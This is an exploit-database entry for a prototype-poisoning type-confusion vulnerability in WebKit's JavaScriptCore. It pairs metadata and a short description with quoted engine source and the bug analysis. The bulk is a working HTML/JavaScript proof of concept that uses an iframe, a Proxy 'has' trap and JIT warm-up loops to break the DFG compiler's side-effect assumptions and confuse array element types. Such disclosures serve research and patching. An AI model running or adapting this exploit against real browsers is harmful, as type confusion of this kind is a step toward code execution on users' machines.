Prototype Poisoning in JavaScriptCore

vendor:

JavaScriptCore

by:

Unknown

5.5

CVSS

MEDIUM

Prototype Poisoning

471

CWE

Product Name: JavaScriptCore

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: No

Related CWE: Unknown

CPE: a:webkit:javascriptcore

Metasploit:

Other Scripts:

Platforms Tested:

Unknown

Prototype Poisoning in JavaScriptCore

The vulnerability allows an attacker to create an array with a Proxy object in the prototype chain by exploiting the 'setPrototypeDirect' method in JavaScriptCore. By setting the prototype of an array to a Proxy object, the method 'switchToSlowPutArrayStorage' or 'haveABadTime' is called, which transitions the array to a SlowPutArrayStorage array.

Mitigation:

To mitigate this vulnerability, it is recommended to avoid using Proxy objects as prototypes for native arrays.

Source

Exploit-DB raw data:

<!--
Bug:
void JSObject::setPrototypeDirect(VM& vm, JSValue prototype)
{
    ASSERT(prototype);
    if (prototype.isObject())
        prototype.asCell()->didBecomePrototype();
    
    if (structure(vm)->hasMonoProto()) {
        DeferredStructureTransitionWatchpointFire deferred(vm, structure(vm));
        Structure* newStructure = Structure::changePrototypeTransition(vm, structure(vm), prototype, deferred);
        setStructure(vm, newStructure);
    } else
        putDirect(vm, knownPolyProtoOffset, prototype);

    if (!anyObjectInChainMayInterceptIndexedAccesses(vm))
        return;
    
    if (mayBePrototype()) {
        structure(vm)->globalObject()->haveABadTime(vm);
        return;
    }
    
    if (!hasIndexedProperties(indexingType()))
        return;
    
    if (shouldUseSlowPut(indexingType()))
        return;

    switchToSlowPutArrayStorage(vm);
}

JavaScriptCore doesn't allow native arrays to have Proxy objects as prototypes. If we try to set the prototype of an array to a Proxy object, it will end up calling either switchToSlowPutArrayStorage or haveABadTime in the above method. switchToSlowPutArrayStorage will transition the array to a SlowPutArrayStorage array. And haveABadTime will call switchToSlowPutArrayStorage on every object in the VM on a first call. Since subsequent calls to haveABadTime won't have any effect, with two global objects we can create an array having a Proxy object in the prototype chain. 

Exploit:
    case HasIndexedProperty: {
        ArrayMode mode = node->arrayMode();
        
        switch (mode.type()) {
        case Array::Int32:
        case Array::Double:
        case Array::Contiguous:
        case Array::ArrayStorage: {
            break;
        }
        default: {
            clobberWorld();
            break;
        }
        }
        setNonCellTypeForNode(node, SpecBoolean);
        break;
    }

From: https://github.com/WebKit/webkit/blob/9ca43a5d4bd8ff63ee7293cac8748d564bd7fbbd/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L3481

The above routine is based on the assumption that if the input array is a native array, it can't intercept indexed accesses therefore it will have no side effects. But actually we can create such arrays which break that assumption making it exploitable.

PoC:
-->

<body>
<script>

function opt(arr, arr2) {
    arr[1] = 1.1;

    let tmp = 0 in arr2;

    arr[0] = 2.3023e-320;

    return tmp;
}

function main() {
    let o = document.body.appendChild(document.createElement('iframe')).contentWindow;

    // haveABadTime
    o.eval(`
let p = new Proxy({}, {});
let a = {__proto__: {}};
a.__proto__.__proto__ = p;
`);

    let arr = [1.1, 2.2];
    let arr2 = [1.1, 2.2];

    let proto = new o.Object();
    let handler = {};

    arr2.__proto__ = proto;
    proto.__proto__ = new Proxy({}, {
        has() {
            arr[0] = {};

            return true;
        }
    });

    for (let i = 0; i < 10000; i++) {
        opt(arr, arr2);
    }

    setTimeout(() => {
        delete arr2[0];

        opt(arr, arr2);

        alert(arr[0]);
    }, 500);
}

main();

</script>
</body>